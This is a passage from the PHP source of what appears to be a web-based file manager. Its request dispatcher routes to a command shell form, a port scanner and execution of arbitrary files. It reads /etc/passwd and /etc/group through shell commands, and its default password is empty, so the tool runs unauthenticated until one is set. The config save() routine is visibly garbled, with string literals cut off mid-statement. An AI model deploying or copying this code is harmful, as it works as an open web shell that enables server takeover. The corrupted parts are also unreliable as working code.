else if($_SERVER['HTTP_X_REAL_IP']) $ipaddress = $_SERVER['HTTP_X_REAL_IP'];
else if($_SERVER['REMOTE_ADDR']) $ipaddress = $_SERVER['REMOTE_ADDR'];
// proxy transparente não esconde o IP local, colocando ele após o IP da rede, separado por vírgula
if (strpos($ipaddress, ',') !== false) {
$ips = explode(',', $ipaddress);
$ipaddress = trim($ips[0]);
}
if ($ipaddress == '::1' || $ipaddress == '127.0.0.1') $ipaddress = 'localhost';
return $ipaddress;
}
$ip = @get_client_ip();
$lan_ip = @socket_get_lan_ip();
function getServerURL() {
$url = (lowercase($_SERVER['HTTPS']) == "on")?"https://":"http://";
if (strlen($_SERVER['SERVER_NAME'])) $url .= $_SERVER['SERVER_NAME'];
elseif (strlen($_SERVER['HTTP_HOST'])) $url .= $_SERVER['HTTP_HOST'];
if ($_SERVER['SERVER_PORT'] != "80" && $_SERVER['SERVER_PORT'] != "443") $url .= ":".$_SERVER['SERVER_PORT'];
return $url;
}
function getCompleteURL() {
return getServerURL().$_SERVER['REQUEST_URI'];
}
$url = @getCompleteURL();
$url_info = parse_url($url);
$doc_root = rtrim($_SERVER['DOCUMENT_ROOT'],DIRECTORY_SEPARATOR); // ex: 'C:/htdocs'
$url_root = rtrim(@getServerURL(),'/'); // ex. 'http://www.site.com'
$fm_file = __FILE__;
$fm_url = $url_root.$_SERVER['PHP_SELF'];
$fm_path_info = pathinfo($fm_file);
$open_basedir_ini = trim(@ini_get("open_basedir"));
$open_basedirs = array();
if (strlen($open_basedir_ini)) {
$dirs = array($open_basedir_ini);
if ($is_windows) {
if (strpos($open_basedir_ini,';') !== false) {
$dirs = explode(';',$open_basedir_ini);
}
$dirs = array_map('ucfirst',$dirs);
} else {
if (strpos($open_basedir_ini,':') !== false) {
$dirs = explode(':',$open_basedir_ini);
}
}
foreach ($dirs as $dir) {
$dir = rtrim($dir,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR; // fm_root must have trailing slash
if (is_dir($dir)) $open_basedirs[] = $dir;
}
}
$sys_lang = strtolower(substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2));
// +--------------------------------------------------
// | Config Class
// +--------------------------------------------------
function object_to_array( $var ) {
if( !is_object( $var ) && !is_array( $var ) ) {
return $var;
}
if( is_object( $var ) ) {
$var = get_object_vars( $var );
}
return array_map( 'object_to_array', $var );
}
function array_to_object( $var ) {
if( !is_object( $var ) && !is_array( $var ) ) {
return $var;
}
$obj = new stdClass();
foreach ($var as $key => $value) {
if (strlen($key)) $obj->{$key} = array_to_object( $value );
}
return $obj;
}
class config {
var $data;
function __construct(){
$this->data = array(
'lang'=>'',
'fm_root'=>'',
'timezone'=>'',
'date_format'=>'Y/m/d H:i',
'auth_pass'=>md5(''),
'error_reporting'=>1
);
}
function save(){
global $fm_file;
$config_string = "data).chr(13).chr(10);
if (is_file($fm_file)){
$lines = file($fm_file);
$script_start_line = 1;
if (strpos($lines[0],'data = $data;
foreach ($this->data as $key => $val) $GLOBALS[$key] = $val;
}
}
// +--------------------------------------------------
// | Config Load
// +--------------------------------------------------
$cfg = new config();
$cfg->load();
if (strlen($timezone)) @date_default_timezone_set($timezone);
//@setlocale(LC_CTYPE, 'C');
//@ini_set('default_charset', $charset);
@mb_internal_encoding($charset);
@ini_set('mbstring.substitute_character','none'); // That will strip invalid characters from UTF-8 strings
@ini_set("allow_url_fopen",1);
@error_reporting(0);
@ini_set("display_errors",0);
if ($error_reporting > 0){
error_reporting(E_ERROR | E_PARSE | E_COMPILE_ERROR); @ini_set("display_errors",1);
}
function fb_log(){
global $error_reporting;
if ($error_reporting < 2) return;
if (!class_exists('ChromePhp')) return;
$arguments = func_get_args();
if (func_num_args() > 1 && is_string($arguments[0])) {
ChromePhp::log($arguments[0].': ',$arguments[1]);
} else {
ChromePhp::log($arguments[0]);
}
}
if (!strlen($fm_current_root)) {
if ($is_windows) {
if (strpos($doc_root,":") !== false) $fm_current_root = ucfirst(substr($doc_root,0,strpos($doc_root,":")+1).DIRECTORY_SEPARATOR); // If doc_root has ":" take the drive letter
$fm_current_root = ucfirst($doc_root.DIRECTORY_SEPARATOR);
} else {
$fm_current_root = "/"; // Linux default show root
}
} else {
if ($is_windows) $fm_current_root = ucfirst($fm_current_root);
}
if (strlen($fm_root)){
$fm_current_root = $fm_root;
}
if (count($open_basedirs)){
$fm_current_root_ok = false;
foreach ($open_basedirs as $open_basedir) {
if (strpos($fm_current_root,$open_basedir) !== false) {
$fm_current_root_ok = true;
break;
}
}
if (!$fm_current_root_ok) {
$fm_path = rtrim($fm_path_info['dirname'],DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR;
foreach ($open_basedirs as $open_basedir) {
if (strpos($fm_path,$open_basedir) !== false) {
$fm_current_root = $open_basedir;
$fm_current_root_ok = true;
break;
}
}
}
if (!$fm_current_root_ok){
$fm_current_root = $open_basedirs[0];
}
}
if (!isset($fm_current_dir)){
$fm_path = rtrim($fm_path_info['dirname'],DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR;
if (strpos($fm_path,$fm_current_root) !== false) {
$fm_current_dir = $fm_path;
} else {
$fm_current_dir = $fm_current_root;
}
if ($is_windows) $fm_current_dir = ucfirst($fm_current_dir);
if (strlen($_COOKIE['fm_current_dir'])) {
$fm_current_dir = $_COOKIE['fm_current_dir'];
}
}
$fm_current_root = rtrim($fm_current_root,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR;
$fm_current_dir = rtrim($fm_current_dir,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR;
@chdir($fm_current_dir); // Note: So is_link(), is_file(), is_dir() and other functions work with relative paths too.
//fb_log('fm_root',$fm_root);
//fb_log('fm_current_root',$fm_current_root);
//fb_log('fm_current_dir',$fm_current_dir);
if (isset($set_resolve_ids)){
$resolve_ids=intval($set_resolve_ids);
setcookie("resolve_ids", $resolve_ids, time()+$cookie_cache_time, "/");
}
// +--------------------------------------------------
// | User/Group Functions
// +--------------------------------------------------
$passwd_array = false;
function get_user_name($uid) {
global $is_windows, $passwd_array;
if ($is_windows) return $uid;
if ($passwd_array === false){
@system_exec_cmd("cat /etc/passwd",$passwd_file);
$passwd_array = explode(chr(10),$passwd_file);
}
foreach ($passwd_array as $line) {
$mat = explode(":",$line);
if ($mat[2] == $uid){
return $mat[0];
}
}
if (function_exists('posix_getpwuid')) {
$info = posix_getpwuid($uid);
return $info['name'];
}
return $uid;
}
$group_array = false;
function get_group_name($gid) {
global $is_windows, $group_array;
if ($is_windows) return $gid;
if ($group_array === false){
@system_exec_cmd("cat /etc/group",$group_file);
$group_array = explode(chr(10),$group_file);
}
foreach ($group_array as $line) {
$mat = explode(":",$line);
if ($mat[2] == $gid){
return $mat[0];
}
}
if (function_exists('posix_getgrgid')) {
$info = posix_getgrgid($gid);
return $info['name'];
}
return $gid;
}
function get_user_groups($user_name) {
global $is_windows, $group_array;
if ($is_windows) return array();
if ($group_array === false){
@system_exec_cmd("cat /etc/group",$group_file);
$group_array = explode(chr(10),$group_file);
}
$resul = array();
$resul['ids'] = array();
$resul['names'] = array();
foreach ($group_array as $line) {
$mat = explode(":",$line);
$user_names = explode(",",$mat[3]);
if (array_search($user_name,$user_names) !== false){
$resul['ids'][] = $mat[2];
$resul['names'][] = $mat[0];
}
}
return $resul;
}
function is_rwx_phpfm($file,$what='r'){
global $is_windows;
// Note: You can only change the uid/euid of the current process when one of the two is currently set to 0 (root).
// groupadd gteste
// usermod -a -G gteste www-data
// gpasswd -d www-data gteste
if (!is_array($GLOBALS['script_info'])) {
$GLOBALS['script_info'] = array();
$GLOBALS['script_info']['sys_uname'] = function_exists('posix_uname') ? @posix_uname() : '';
$GLOBALS['script_info']['sys_hostname'] = function_exists('gethostname') ? @gethostname() : '';
if (!strlen($GLOBALS['script_info']['sys_hostname'])){
$GLOBALS['script_info']['sys_hostname'] = @getenv('COMPUTERNAME');
}
$GLOBALS['script_info']['script_user_id'] = function_exists('posix_getuid') ? @posix_getuid() : '';
$GLOBALS['script_info']['script_user_name'] = $GLOBALS['script_info']['script_user_id'];
$GLOBALS['script_info']['script_user_home'] = '';
$GLOBALS['script_info']['script_user_shell'] = '';
$GLOBALS['script_info']['script_user_group_id'] = '';
$GLOBALS['script_info']['script_user_group_name'] = '';
$GLOBALS['script_info']['script_user_group_ids'] = array();
$GLOBALS['script_info']['script_user_group_names'] = array();
$GLOBALS['script_info']['script_group_id'] = function_exists('posix_getgid') ? @posix_getgid() : '';
$GLOBALS['script_info']['script_group_name'] = $GLOBALS['script_info']['script_group_id'];
$GLOBALS['script_info']['script_group_members'] = '';
if ($GLOBALS['script_info']['script_user_id'] && function_exists('posix_getpwuid')) {
$info = posix_getpwuid($GLOBALS['script_info']['script_user_id']);
$GLOBALS['script_info']['script_user_home'] = $info['dir'];
$GLOBALS['script_info']['script_user_shell'] = $info['shell'];
$GLOBALS['script_info']['script_user_name'] = $info['name'];
$GLOBALS['script_info']['script_user_group_id'] = $info['gid'];
if (function_exists('posix_getgrgid')) {
$info = posix_getgrgid($GLOBALS['script_info']['script_user_group_id']);
$GLOBALS['script_info']['script_user_group_name'] = $info['name'];
}
$info = get_user_groups($GLOBALS['script_info']['script_user_name']);
$GLOBALS['script_info']['script_user_group_ids'] = $info['ids'];
$GLOBALS['script_info']['script_user_group_names'] = $info['names'];
array_unshift($GLOBALS['script_info']['script_user_group_ids'], $GLOBALS['script_info']['script_user_group_id']);
array_unshift($GLOBALS['script_info']['script_user_group_names'], $GLOBALS['script_info']['script_user_group_name']);
}
if (!strlen($GLOBALS['script_info']['script_user_name'])) {
if (!system_exec_cmd('whoami',$GLOBALS['script_info']['script_user_name'])) {
$GLOBALS['script_info']['script_user_name'] = '';
}
}
if (!strlen($GLOBALS['script_info']['script_user_name']) && function_exists('get_current_user')) {
$GLOBALS['script_info']['script_user_name'] = get_current_user();
}
if (!strlen($GLOBALS['script_info']['script_user_name'])){
$GLOBALS['script_info']['script_user_name'] = @getenv('USERNAME') ? : @getenv('USER');
}
if ($is_windows && strpos($GLOBALS['script_info']['script_user_name'],'\\') !== false){
$GLOBALS['script_info']['script_user_name'] = ucfirst(substr($GLOBALS['script_info']['script_user_name'],strpos($GLOBALS['script_info']['script_user_name'],'\\')+1));
}
if (function_exists('posix_getgrgid')) {
$info = posix_getgrgid($GLOBALS['script_info']['script_group_id']);
$GLOBALS['script_info']['script_group_name'] = $info['name'];
$GLOBALS['script_info']['script_group_members'] = $info['members'];
}
fb_log($GLOBALS['script_info']);
}
$file_info = array();
$file_info['name'] = $file;
$file_stat = stat($file);
$file_info['nlinks'] = $file_stat['nlink'];
$file_info['perms'] = fileperms($file);
$file_info['owner'] = fileowner($file);
$file_info['group'] = filegroup($file);
$file_info['is_owner_readable'] = ($file_info['perms'] & 0x0100);
$file_info['is_group_readable'] = ($file_info['perms'] & 0x0020);
$file_info['is_world_readable'] = ($file_info['perms'] & 0x0004);
$file_info['is_readable'] = false;
if ($file_info['is_world_readable']) {
$file_info['is_readable'] = true;
}
if ($file_info['is_group_readable']) {
foreach ($GLOBALS['script_info']['script_user_group_ids'] as $gid) {
if ($file_info['group'] == $gid) {
$file_info['is_readable'] = true;
break;
}
}
}
if ($file_info['is_owner_readable'] && $file_info['owner'] == $GLOBALS['script_info']['script_user_id']) {
$file_info['is_readable'] = true;
}
$file_info['is_owner_writable'] = ($file_info['perms'] & 0x0080);
$file_info['is_group_writable'] = ($file_info['perms'] & 0x0010);
$file_info['is_world_writable'] = ($file_info['perms'] & 0x0002);
$file_info['is_writable'] = false;
if ($file_info['is_world_writable']) {
$file_info['is_writable'] = true;
}
if ($file_info['is_group_writable']) {
foreach ($GLOBALS['script_info']['script_user_group_ids'] as $gid) {
if ($file_info['group'] == $gid) {
$file_info['is_writable'] = true;
break;
}
}
}
if ($file_info['is_owner_writable'] && $file_info['owner'] == $GLOBALS['script_info']['script_user_id']) {
$file_info['is_writable'] = true;
}
$file_info['is_owner_executable'] = ($file_info['perms'] & 0x0040);
$file_info['is_group_executable'] = ($file_info['perms'] & 0x0400);
$file_info['is_world_executable'] = ($file_info['perms'] & 0x0001);
$file_info['is_executable'] = false;
if ($file_info['is_world_executable']) {
$file_info['is_executable'] = true;
}
if ($file_info['is_group_executable']) {
foreach ($GLOBALS['script_info']['script_user_group_ids'] as $gid) {
if ($file_info['group'] == $gid) {
$file_info['is_executable'] = true;
break;
}
}
}
if ($file_info['is_owner_executable'] && $file_info['owner'] == $GLOBALS['script_info']['script_user_id']) {
$file_info['is_executable'] = true;
}
if ($what == 'r') return $file_info['is_readable'];
if ($what == 'w') return $file_info['is_writable'];
if ($what == 'x') return $file_info['is_executable'];
return false;
}
function is_readable_phpfm($file){
return is_rwx_phpfm($file,'r');
}
function is_writable_phpfm($file){
return is_rwx_phpfm($file,'w');
}
function is_executable_phpfm($file){
return is_rwx_phpfm($file,'x');
}
// +--------------------------------------------------
// | File Manager Actions
// +--------------------------------------------------
if ($action != '99') {
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Content-Type: text/html; charset=".$charset);
}
if ($auth_pass == md5('') || $loggedon==$auth_pass){
switch ($frame){
case 1: break; // Empty Frame
case 2: frame2(); break;
case 3: frame3(); break;
default:
switch($action){
case 1: logout(); break;
case 2: config_form(); break;
case 3: download(); break;
case 4: view_form(); break;
case 5: server_info_form(); break;
case 6: break;
case 7: edit_file_form(); break;
case 8: chmod_form(); break;
case 9: shell_form(); break;
case 10: upload_form(); break;
case 11: system_exec_file(); break;
case 12: portscan_form(); break;
case 14: dir_list_update_total_size(); break;
case 99: get_base64_file(); break;
default:
if ($noscript) login_form();
else frameset();
}
}
} elseif (strlen($pass)) {
login();
} else {
login_form();
}
// +--------------------------------------------------
// | File System
// +--------------------------------------------------
function symlink_phpfm($target,$link){
global $is_windows;
$ok = false;
if (!$is_windows){ // symlink() function not available on windows
if (function_exists('symlink')) {
$ok = symlink($target,$link);
} else {
$GLOBALS['dir_list_warn_message'] .= 'Error: php symlink() function is disabled.
';
}
}
if (!$ok){
$cmd = '';
if ($is_windows){
//$runas = 'runas /noprofile /user:Administrator ';
if (is_dir($target)) $cmd = $runas.'mklink /D '.escapeshellarg($link).' '.escapeshellarg($target);
else $cmd = $runas.'mklink '.escapeshellarg($link).' '.escapeshellarg($target);
} else {
$cmd = 'ln -s '.escapeshellarg($target).' '.escapeshellarg($link);
}
$output = '';
$ok = system_exec_cmd($cmd,$output);
if (!$ok) {
$GLOBALS['dir_list_warn_message'] .= 'CMD: '.$cmd.'
';
$GLOBALS['dir_list_warn_message'] .= $output.'
';
}
// link() function is available on windows (Vista, Server 2008 or greater)
// if everything failed, try to create a hardlink to the file instead
if (!$ok && !is_dir($target) && $is_windows) {
if (function_exists('link')) {
$ok = link($target,$link);
} else {
$GLOBALS['dir_list_warn_message'] .= 'Error: php link() function is disabled.
';
}
}
}
return $ok;
}
function link_phpfm($target,$link){
global $is_windows;
if (is_dir($target)) {
// hardlinks to directories are not allowed, create symlink instead
// https://askubuntu.com/questions/210741/why-are-hard-links-not-allowed-for-directories
return symlink_phpfm($target,$link);
}
$ok = false;
if (function_exists('link')) { // link() function is available on windows (Vista, Server 2008 or greater)
$ok = link($target,$link);
} else {
$GLOBALS['dir_list_warn_message'] .= 'Error: php link() function is disabled.
';
}
if (!$ok){
$cmd = '';
if ($is_windows){
//$runas = 'runas /noprofile /user:Administrator ';
$cmd = $runas.'mklink /H '.escapeshellarg($link).' '.escapeshellarg($target);
} else {
$cmd = 'ln '.escapeshellarg($target).' '.escapeshellarg($link);
}
$output = '';
$ok = system_exec_cmd($cmd,$output);
if (!$ok) {
$GLOBALS['dir_list_warn_message'] .= 'CMD: '.$cmd.'
';
$GLOBALS['dir_list_warn_message'] .= $output.'
';
}
}
return $ok;
}
function phpfm_get_total_size($path){
$total_size = false;
$dir_cookiename = 'dir_'.hash('crc32',fix_cookie_name($path),FALSE);
if (strlen($_COOKIE[$dir_cookiename])) {
$total_size = $_COOKIE[$dir_cookiename];
if ($total_size != 'error'){
return intval($total_size);
}
return $total_size;
}
$total_size = system_get_total_size($path);
if ($total_size !== false) {
setcookie((string)$dir_cookiename, (string)$total_size, 0 , "/");
}
return $total_size;
}
function dir_list_update_total_size(){
global $fm_current_dir, $dirname;
$path = rtrim($fm_current_dir,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$dirname;
$total_size = system_get_total_size($path);
if ($total_size === false) {
$total_size = php_get_total_size($path);
}
if ($total_size === false) {
$total_size = 'error';
}
$dir_cookiename = 'dir_'.hash('crc32',fix_cookie_name($fm_current_dir.$dirname),FALSE);
setcookie((string)$dir_cookiename, (string)$total_size, 0 , "/");
echo $total_size;
die();
}
// INFO: php filesize() returns ZERO for files over 4Gb
function phpfm_filesize($file){
$filesize = intval(filesize($file));
if ($filesize <= 0) $filesize = system_get_total_size($file);
return $filesize;
}
function system_get_total_size($path){
global $is_windows;
$total_size = false;
if ($is_windows){
if (class_exists('COM')) {
$fsobj = new COM('Scripting.FileSystemObject');
if (is_object($fsobj)) {
try {
if (is_dir($path)) $ref = $fsobj->GetFolder($path);
else $ref = $fsobj->GetFile($path);
if (is_object($ref)) {
$total_size = floatval($ref->size);
$fsobj = null;
unset($fsobj);
}
} catch (Exception $e) {
}
}
}
if ($total_size === false) {
if (is_file($path)){
$output = '';
if (system_exec_cmd('for %I in ('.$path.') do @echo %~zI',$output)){
$total_size = floatval($output);
}
}
}
} else {
$output = '';
if (system_exec_cmd('du -sb '.$path,$output)){
$total_size = floatval(substr($output,0,strpos($output,"\t")));
}
}
if ($total_size === false) fb_log('system_get_total_size("'.$path.'") = FALSE');
else fb_log('system_get_total_size("'.$path.'") = '.format_size($total_size));
return $total_size;
}
function php_get_total_size($path) {
global $debug_mode,$max_php_recursion_counter;
$max_php_recursion_counter = 0;
$total_size = php_get_total_size_execute($path);
if ($total_size === false) fb_log('php_get_total_size("'.$path.'") = false'.' (recursion: '.$max_php_recursion_counter.')');
else fb_log('php_get_total_size("'.$path.'") = '.format_size($total_size).' (recursion: '.$max_php_recursion_counter.')');
return $total_size;
}
function php_get_total_size_execute($path) {
global $debug_mode,$max_php_recursion,$max_php_recursion_counter;
fb_log('php_get_total_size_execute',$path);
if ($debug_mode) return 0;
$total_size = 0;
if (is_dir($path)) {
$entry_list = scandir(fs_encode($path));
foreach ($entry_list as $entry) {
if ($entry == "." || $entry == "..") continue;
if (is_dir($path.DIRECTORY_SEPARATOR.$entry)) {
if ($max_php_recursion_counter >= $max_php_recursion) {
return false;
}
$max_php_recursion_counter++;
$size = php_get_total_size_execute($path.DIRECTORY_SEPARATOR.$entry);
if ($size === false) {
return false;
}
$total_size += $size;
} else {
$total_size += phpfm_filesize($path.DIRECTORY_SEPARATOR.$entry);
}
}
} else {
$total_size = phpfm_filesize($path);
}
return $total_size;
}
function php_shred($filepath) {
// Based on https://github.com/DanielRuf/secure-shred (MIT license)
// https://www.aldeid.com/wiki/Secure-delete-files
// TODO: test write each pass, and rename the file before delete.
try {
// clear stat cache to avoid falsely reported file status
// use $filepath parameter to possibly improve performance
clearstatcache(true, $filepath);
if (is_file($filepath) && is_readable($filepath) && is_writable($filepath)) {
$read = new \SplFileObject($filepath, 'r');
$write = new \SplFileObject($filepath, 'r+');
while (!$read->eof()) {
$line_pos = $read->ftell();
$line_content = $read->fgets();
$line_length = strlen($line_content);
if ($line_length === 0) continue;
for ($n=0;$n<3;$n++) { // does 3 overwrites per line
$write->fseek($line_pos);
$write->fwrite(random_bytes($line_length));
$write->fflush();
}
}
$write->ftruncate(0);
$read = $write = null;
return unlink($filepath);
}
} catch(\Exception $e) {
fb_log($e->getMessage().' ('.$e->getCode().')');
}
return false;
}
function total_delete($path,$followlinks=false,$checkhardlinks=true) {
global $debug_mode;
fb_log('total_delete',$path);
if ($debug_mode) return;
// TODO: $checkhardlinks will not allow to delete anything that has other links on the system, using stat() to avoid creating brokenlinks. Add a warning and complete action;.
if (file_exists($path)) {
@chmod($path,0755);
if (is_dir($path)) {
$entry_list = scandir(fs_encode($path));
foreach ($entry_list as $entry) {
if ($entry == "." || $entry == "..") continue;
if ($followlinks == false && is_link(rtrim($path,DIRECTORY_SEPARATOR))) continue;
total_delete($path.DIRECTORY_SEPARATOR.$entry,$followlinks,$checkhardlinks);
}
if (is_link($path)) @unlink($path);
else @rmdir($path);
} else {
@unlink($path);
}
} elseif (is_link($path)) {
@unlink($path); // Broken links must be removed
}
}
function total_copy($orig,$dest,$copylinks=true,$followlinks=false) {
global $debug_mode;
fb_log('total_copy',$orig.' => '.$dest);
if ($debug_mode) return;
$ok = true;
if (file_exists($orig) || is_link($orig)) {
if ($copylinks == true && is_link($orig)){
$ok = link_phpfm(readlink($orig), $dest);
if (!$ok) $ok = link_phpfm($orig, $dest); // Allow copy of broken links, but rather copy the link to the target, as the link was.
} elseif (is_dir($orig)) {
$ok = mkdir(fs_encode($dest),0755);
if ($ok) {
$entry_list = scandir(fs_encode($orig));
foreach ($entry_list as $entry) {
if ($entry == "." || $entry == "..") continue;
if ($followlinks == false && is_link(rtrim($orig,DIRECTORY_SEPARATOR))){
$ok = link_phpfm(readlink($orig.DIRECTORY_SEPARATOR.$entry), $dest.DIRECTORY_SEPARATOR.$entry);
} else {
$ok = total_copy($orig.DIRECTORY_SEPARATOR.$entry, $dest.DIRECTORY_SEPARATOR.$entry, $copylinks, $followlinks);
}
if (!$ok) break;
}
}
} else {
$ok = copy((string)$orig,(string)$dest);
}
}
return $ok;
}
function total_move($orig,$dest) {
global $debug_mode;
fb_log('total_move',$orig.' => '.$dest);
if ($debug_mode) return;
// Just why doesn't it has a MOVE alias?!
return rename((string)$orig,(string)$dest);
}
function download(){
global $fm_current_dir,$filename,$debug_mode;
$file = $fm_current_dir.$filename;
fb_log('download',$file);
if ($debug_mode) return;
if(file_exists($file)){
$is_denied = false;
foreach($download_ext_filter as $key=>$ext){
if (eregi($ext,$filename)){
$is_denied = true;
break;
}
}
if (!$is_denied){
$size = phpfm_filesize($file);
header("Content-Type: application/save");
header("Content-Length: $size");
header("Content-Disposition: attachment; filename=\"".$filename."\"");
header("Content-Transfer-Encoding: binary");
if ($fh = fopen("$file", "rb")){
ob_get_flush(); // Flush the output buffer and turn off output buffering, to allow direct download of big files
fpassthru($fh);
fclose($fh);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('FileNotFound').": ".$file);
}
// Returns the full path of the current PHP executable
function linux_get_proc_name(){
$output = '';
$ok = system_exec_cmd("readlink -f /proc/".posix_getpid()."/exe",$output);
if (!$ok) return false;
return $output;
}
function system_exec_file(){
global $fm_current_dir,$filename,$debug_mode,$is_windows;
fb_log('system_exec_file',$filename);
if ($debug_mode) return;
header("Content-type: text/plain");
$file = $fm_current_dir.$filename;
if(file_exists($file)){
if (!is_executable($file)) @chmod($file,0755);
if (is_executable($file)) {
$fm_current_dir = get_absolute_path($fm_current_dir);
$cmd_line = '';
if ($is_windows) {
$cmd_line .= "cd /D ".$fm_current_dir." && ";
} else {
$cmd_line .= "cd ".$fm_current_dir." && ";
}
// TODO: verificar e usar interpretador correto
// php -f /script.php
// bash /script.sh
// sh /script.sh
// python /script.py
// perl /script.pl
$cmd_line .= $file;
echo "# ".$cmd_line."\n";
system_exec_cmd($cmd_line, $output);
echo $output;
} else echo('Error: '.$file.' is not executable...');
} else echo(et('FileNotFound').": ".$file);
}
function save_upload($temp_file,$filename,$dir_dest) {
global $upload_ext_filter,$debug_mode,$is_windows;
fb_log('save_upload',$temp_file.' => '.$dir_dest.$filename);
if ($debug_mode) return;
$filename = remove_special_chars($filename);
$file = $dir_dest.$filename;
$filesize = phpfm_filesize($temp_file);
$is_denied = false;
$output = '';
foreach($upload_ext_filter as $key=>$ext){
if (eregi($ext,$filename)){
$is_denied = true;
break;
}
}
if (!$is_denied){
if (!check_limit($filesize)){
if (file_exists($file)){
if (unlink($file)){
if (copy($temp_file,$file)){
// https://stackoverflow.com/questions/23851821/setting-file-permissions-in-windows-with-php
if ($is_windows) system_exec_cmd('icacls "'.$file.'" /q /c /reset', $output);
else @chmod($file,0644);
$out = 6;
} else $out = 2;
} else $out = 5;
} else {
if (copy($temp_file,$file)){
if ($is_windows) system_exec_cmd('icacls "'.$file.'" /q /c /reset', $output);
else @chmod($file,0644);
$out = 1;
} else $out = 2;
}
} else $out = 3;
} else $out = 4;
return $out;
}
// Note: readlink() may return a relative path, with or without ./, and that is not good for is_file() is_dir() and broken link evaluation, because we can´t always chdir() to the link basepath.
function readlink_absolute_path($path){
global $is_windows;
if (!is_link($path)) return $path;
$target = readlink($path);
if (strpos($target,'.'.DIRECTORY_SEPARATOR) === 0){
$target = substr($target,2); // remove ./
}
if (($is_windows && substr($target,2,1) != ':') || (!$is_windows && substr($target,0,1) != DIRECTORY_SEPARATOR)){ // check if does not start with C: or / = relative path
$target = substr($path,0,strrpos($path,DIRECTORY_SEPARATOR)+1).$target; // complete the target using origin path
}
return $target;
}
// +--------------------------------------------------
// | Data Formating
// +--------------------------------------------------
function fix_cookie_name($str){
$str = remove_acentos(trim($str));
$str = str_replace('\\', '_', $str);
$str = str_replace('/', '_', $str);
$str = str_replace(':', '_', $str);
$str = str_replace('*', '_', $str);
$str = str_replace('?', '_', $str);
$str = str_replace('"', '_', $str);
$str = str_replace('<', '_', $str);
$str = str_replace('>', '_', $str);
$str = str_replace('|', '_', $str);
$str = str_replace(' ', '_', $str);
$str = str_strip($str,"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-0123456789");
$str = replace_double('_', $str);
$str = trim($str,'_');
return $str;
}
// http://www.ietf.org/rfc/rfc1738.txt
// The characters ";", "/", "?", ":", "@", "=" and "&" are the characters which may be reserved for special meaning within a scheme. No other characters may be reserved within a scheme.
// Thus, only alphanumerics, the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL.
function fix_url($str) {
// Remove acentos
$str = remove_acentos($str);
// Substitui caracteres reservados
$str = str_replace(';', '-', $str);
$str = str_replace('/', '-', $str);
$str = str_replace('?', '-', $str);
$str = str_replace(':', '-', $str);
$str = str_replace('@', '-', $str);
$str = str_replace('=', '-', $str);
$str = str_replace('&', '-', $str);
// Caracteres adicionais
$str = str_replace('(', '-', $str);
$str = str_replace(')', '-', $str);
$str = str_replace('.', '-', $str);
$str = str_replace('_', '-', $str);
$str = str_replace(' ', '-', $str);
// Apenas caracteres válidos
$str = str_strip($str, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890.-");
$str = replace_double('-', $str);
$str = trim($str,'-');
return $str;
}
function fix_filename($str,$allowSpaces=false){ // no filesystem não podemos ter acentos
$str = remove_acentos(trim($str));
// Substitui caracteres reservados
$str = str_replace('\\', '_', $str);
$str = str_replace('/', '_', $str);
$str = str_replace(':', '_', $str);
$str = str_replace('*', '_', $str);
$str = str_replace('?', '_', $str);
$str = str_replace('"', '_', $str);
$str = str_replace('<', '_', $str);
$str = str_replace('>', '_', $str);
$str = str_replace('|', '_', $str);
if ($allowSpaces){
// Apenas caracteres válidos
$str = str_strip($str,"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-0123456789.()[]& ");
$str = replace_double(' ', $str);
$str = trim($str);
} else {
$str = str_replace(' ', '_', $str);
// Apenas caracteres válidos
$str = str_strip($str,"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-0123456789.()[]&");
}
$str = replace_double('_', $str);
$str = trim($str,'_');
return $str;
}
function fix_filename_download($str){ // no download podemos ter acentos
$str = trim($str);
// Substitui caracteres reservados
$str = str_replace('\\', ' ', $str);
$str = str_replace('/', ' ', $str);
$str = str_replace(':', ' ', $str);
$str = str_replace('*', ' ', $str);
$str = str_replace('?', ' ', $str);
$str = str_replace('"', ' ', $str);
$str = str_replace('<', ' ', $str);
$str = str_replace('>', ' ', $str);
$str = str_replace('|', ' ', $str);
// Apenas caracteres válidos
$str = str_strip($str,"ÁÀÃÂÉÊÈËÍÓÔÕÒÚÜÇÑáàãâéêèëíóõôòúüçñABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-0123456789.()[] ");
$str = replace_double(' ', $str);
$str = trim($str);
return $str;
}
function add_http($str){
if (mb_strlen($str) > 0 && mb_strpos($str, 'http://') === false && mb_strpos($str, 'https://') === false) return 'http://'.$str;
else return $str;
}
function remove_sinais($str){
$sinais = "./\\-,:;'`~?!\"<>{}[]@#\$%^&*()_+=|";
$str = str_replace(str_split($sinais),"",$str);
return replace_double(" ",$str);
}
function remove_acentos($string) {
if ( !preg_match('/[\x80-\xff]/', $string) ) return $string;
$chars = array(
// Decompositions for Latin-1 Supplement
chr(195).chr(128) => 'A', chr(195).chr(129) => 'A',
chr(195).chr(130) => 'A', chr(195).chr(131) => 'A',
chr(195).chr(132) => 'A', chr(195).chr(133) => 'A',
chr(195).chr(135) => 'C', chr(195).chr(136) => 'E',
chr(195).chr(137) => 'E', chr(195).chr(138) => 'E',
chr(195).chr(139) => 'E', chr(195).chr(140) => 'I',
chr(195).chr(141) => 'I', chr(195).chr(142) => 'I',
chr(195).chr(143) => 'I', chr(195).chr(145) => 'N',
chr(195).chr(146) => 'O', chr(195).chr(147) => 'O',
chr(195).chr(148) => 'O', chr(195).chr(149) => 'O',
chr(195).chr(150) => 'O', chr(195).chr(153) => 'U',
chr(195).chr(154) => 'U', chr(195).chr(155) => 'U',
chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y',
